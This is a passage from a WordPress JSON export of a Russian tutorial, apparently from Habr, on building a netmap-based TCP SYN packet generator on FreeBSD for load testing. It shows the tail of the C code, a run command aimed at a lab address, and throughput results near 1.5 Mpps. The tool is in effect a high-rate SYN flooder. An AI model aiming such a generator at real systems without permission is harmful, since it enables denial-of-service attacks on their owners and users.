1) ? i : 0; \t\ttargs[i].qlast = (g.nthreads > 1) ? i + 1 : tifreq.nr_tx_rings; \t\ttargs[i].me = i; \t\ttargs[i].affinity = g.cpus ? i % g.cpus : -1; \t\tif (td_body == sender_body) { \t\t\t\/* initialize the packet to send. *\/ \t\t\tinitialize_packet(&targs[i]); \t\t}  \t\tif (pthread_create(&targs[i].thread, NULL, td_body, &targs[i]) == -1) { \t\t\tD("Unable to create thread %d", i); \t\t\ttargs[i].used = 0; \t\t} \t}  \t{ \t\tuint64_t my_count = 0, prev = 0; \t\tuint64_t count = 0; \t\tstruct timeval tic, toc; \t\tgettimeofday(&toc, NULL); \t\tfor (; ;) {  \t\t\tstruct timeval now, delta; \t\t\tuint64_t pps; \t\t\tint done = 0;  \t\t\tdelta.tv_sec = report_interval \/ 1000; \t\t\tdelta.tv_usec = (report_interval % 1000) * 1000; \t\t\tselect(0, NULL, NULL, NULL, &delta); \t\t\tgettimeofday(&now, NULL); \t\t\ttimersub(&now, &toc, &toc); \t\t\tmy_count = 0; \t\t\tfor (i = 0; i < g.nthreads; i++) { \t\t\t\tmy_count += targs[i].count; \t\t\t\tif (targs[i].used == 0) \t\t\t\t\tdone++; \t\t\t} \t\t\tpps = toc.tv_sec * 1000000 + toc.tv_usec; \t\t\tif (pps < 10000) \t\t\t\tcontinue; \t\t\tpps = (my_count - prev) * 1000000 \/ pps; \t\t\tD("%" PRIu64 " pps", pps); \t\t\tprev = my_count; \t\t\ttoc = now; \t\t\tif (done == g.nthreads) \t\t\t\tbreak; \t\t}  \t\ttimerclear(&tic); \t\ttimerclear(&toc); \t\tfor (i = 0; i < g.nthreads; i++) { \t\t\t\/* \t\t\t * Join active threads, unregister interfaces and close \t\t\t * file descriptors. \t\t\t *\/ \t\t\tpthread_join(targs[i].thread, NULL); \t\t\tioctl(targs[i].fd, NIOCUNREGIF, &targs[i].nmr); \t\t\tclose(targs[i].fd);  \t\t\tif (targs[i].completed == 0) \t\t\t\tcontinue;  \t\t\t\/* \t\t\t * Collect threads output and extract information about \t\t\t * how long it took to send all the packets. \t\t\t *\/ \t\t\tcount += targs[i].count; \t\t\tif (!timerisset(&tic) || timercmp(&targs[i].tic, &tic, <)) \t\t\t\ttic = targs[i].tic; \t\t\tif (!timerisset(&toc) || timercmp(&targs[i].toc, &toc, >)) \t\t\t\ttoc = targs[i].toc; \t\t}  \t}  \tioctl(fd, NIOCUNREGIF, &nmr); \tmunmap(mmap_addr, nmr.nr_memsize); \tclose(fd);  \treturn (0); } \/* end of file *\/ <\/code><\/pre>\n
  <\/div>\n<\/div>\n
  \u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c.<\/p>\n
# .\/tcp-gen -i igb0 -d 10.0.0.2 -D 00:1b:21:a3:5f:fc -s 10.0.0.1 -l 60 main [543] ether_aton(00:1b:21:a3:5f:fc) gives 0x800fac8d2 main [600] map size is 207712 Kb main [622] mmapping 207712 Kbytes Sending on igb0: 2 queues, 2 threads and 2 cpus. 10.0.0.1 -> 10.0.0.2 (a0:36:9f:06:81:d6 -> 00:1b:21:a3:5f:fc) main [663] Ready... sender_body [422] start sender_body [422] start main [746] 1003502 pps main [746] 1488140 pps main [746] 1488132 pps main [746] 1488135 pps main [746] 1488136 pps main [746] 1488137 pps main [746] 1488141 pps main [746] 1488132 pps main [746] 1488134 pps main [746] 1488134 pps ^Csigint_h [215] Cancelling thread #0  sigint_h [215] Cancelling thread #1  main [746] 1296740 pps  <\/code><\/pre>\n
  \u0423\u0442\u0438\u043b\u0438\u0442\u0430 \u043e\u0442\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043e \u0431\u0435\u0437 \u043c\u0430\u043b\u043e\u0433\u043e 1,5mpps. \u041d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442:  <\/p>\n
last pid:  1789;  load averages:  1.17,  0.43,  0.95                        up 0+01:23:20  12:55:27 108 processes: 5 running, 77 sleeping, 26 waiting CPU 0:  5.9% user,  0.0% nice, 90.9% system,  3.1% interrupt,  0.0% idle CPU 1:  0.0% user,  0.0% nice, 95.3% system,  4.7% interrupt,  0.0% idle Mem: 18M Active, 14M Inact, 313M Wired, 14M Buf, 3545M Free Swap: 2572M Total, 2572M Free    PID USERNAME PRI NICE   SIZE    RES STATE   C   TIME    CPU COMMAND  1765 root     102    0   217M  6040K RUN     1   0:53 99.46% pkt-gen{pkt-gen}  1765 root     102    0   217M  6040K CPU0    0   0:53 99.37% pkt-gen{pkt-gen}    12 root     -92    -     0K   416K WAIT    0   0:14  2.29% intr{irq256: igb0:que}    12 root     -92    -     0K   416K WAIT    1   0:43  1.86% intr{irq257: igb0:que}    11 root     155 ki31     0K    32K RUN     0  74:15  0.00% idle{idle: cpu0}    11 root     155 ki31     0K    32K RUN     1  74:04  0.00% idle{idle: cpu1}  <\/code><\/pre>\n
  \u0421\u043c\u043e\u0442\u0440\u0438\u043c \u043f\u0440\u0438\u043b\u0435\u0442\u0430\u044e\u0449\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u044b:  <\/p>\n
tcpdump -i em1 -n -vvv 13:14:44.814897 IP (tos 0x10, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)     10.0.0.1.14000 > 10.0.0.2.80: Flags [S], cksum 0x4ae2 (correct), seq 1103125611, win 512 <\/code><\/pre>\n
  \u0417\u0430\u043c\u0435\u0440\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043d\u0430 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u043c\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u043d\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c. \u0410\u0442\u0430\u043a\u0443\u0435\u043c\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043e\u0442\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u043e 700kpps, \u043d\u043e \u0435\u0441\u0442\u044c \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u043d\u0438\u0435 \u0447\u0442\u043e \u043e\u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435 \u0432 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a, \u043f\u043e\u0442\u043e\u043c\u0443 \u0441\u0442\u0430\u0432\u0438\u043c \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0439 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440 \u0438 \u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0442\u043e-\u0436\u0435 \u0432\u0440\u0451\u0442:
  \"image\"\/
  \u041a\u0430\u043a \u0432\u0438\u0434\u043d\u043e \u043d\u0430 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u00ab\u043f\u0440\u043e\u0438\u0437\u0432\u0451\u043b\u00bb \u043f\u043e\u0447\u0442\u0438 \u043f\u043e\u043b\u0442\u043e\u0440\u0430 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u0430 \u043f\u0430\u043a\u0435\u0442\u043e\u0432. \u0422\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0442\u0440\u0430\u0444\u0438\u043a \u0432 3 \u0440\u0430\u0437\u0430 \u043f\u0435\u0440\u0435\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443, \u0437\u0430 \u0447\u0442\u043e \u0432\u044b\u043a\u0430\u0437\u044b\u0432\u0430\u044e \u043e\u0433\u0440\u043e\u043c\u043d\u0443\u044e \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u043d\u043e\u0441\u0442\u044c \u0433-\u043d\u0443 Luigi Rizzo.<\/p>\n
  \u041f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0441\u044f \u043e\u0434\u0438\u043d \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u2014 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 netmap \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u043a\u0430\u0440\u0442\u0443 \u043e\u0442 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0441\u0442\u0435\u043a\u0430 \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u044f \u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 netmap-\u0440\u0435\u0436\u0438\u043c. \u0418\u043d\u043e\u0433\u0434\u0430 \u0430\u0434\u0430\u043f\u0442\u0435\u0440 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434\u0438\u0442 \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0440\u0435\u0436\u0438\u043c\u0430. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0434\u0435\u043b\u0430\u0442\u044c \u0435\u043c\u0443 down\/up. \u041e\u0442\u043c\u0435\u0447\u0443, \u0447\u0442\u043e \u0434\u0430\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u043b\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u043a\u0430\u0440\u0442\u0430\u0445 igb (\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0442\u0430\u043a\u0436\u0435 em \u0438 re). \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u044d\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043b\u0438\u0448\u044c \u0434\u0430\u043d\u043d\u043e\u0439 \u043a\u0430\u0440\u0442\u044b\/\u043f\u0430\u0440\u0442\u0438\u0438.<\/p>\n
  \u0421\u0441\u044b\u043b\u043a\u0438:
  \u0421\u0430\u0439\u0442 \u0444\u0440\u044d\u0439\u043c\u0432\u043e\u0440\u043a\u0430 \u2014 info.iet.unipi.it\/<\/a>~luigi\/netmap\/
  GoogleTechTalks video on netmap \u2014 www.youtube.com\/watch?v=SPtoXNW9yEQ<\/a> \t\t\t<\/p>\n
<\/div>\n<\/p><\/div>\n
 \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438  http:\/\/habrahabr.ru\/post\/183692\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
 \t\t\t\u0414\u0430\u043d\u043e:<\/b>  <\/p>\n
# pciconf -lv | grep -i device | grep -i network     device     = I350 Gigabit Network Connection # dmesg | grep CPU:     CPU: Intel(R) Core(TM)2 Duo CPU     E7300  @ 2.66GHz (2666.69-MHz K8-class CPU) # uname -orp     FreeBSD 9.1-RELEASE amd64 <\/code><\/pre>\n
  \u0417\u0430\u0434\u0430\u0447\u0430: <\/b>
  \u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043d\u0430 \u0434\u0430\u043d\u043d\u043e\u043c \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0438 \u0438 \u041e\u0421 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u0447\u043d\u0443\u044e \u0432\u0438\u043b\u043a\u0443 \u0432 \u0432\u0438\u0434\u0435 tcp(syn)-\u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c\u044e \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 500kpps.<\/p>\n
  \u0420\u0435\u0448\u0435\u043d\u0438\u0435:<\/b>  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-183692","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/183692","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=183692"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/183692\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=183692"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=183692"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=183692"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}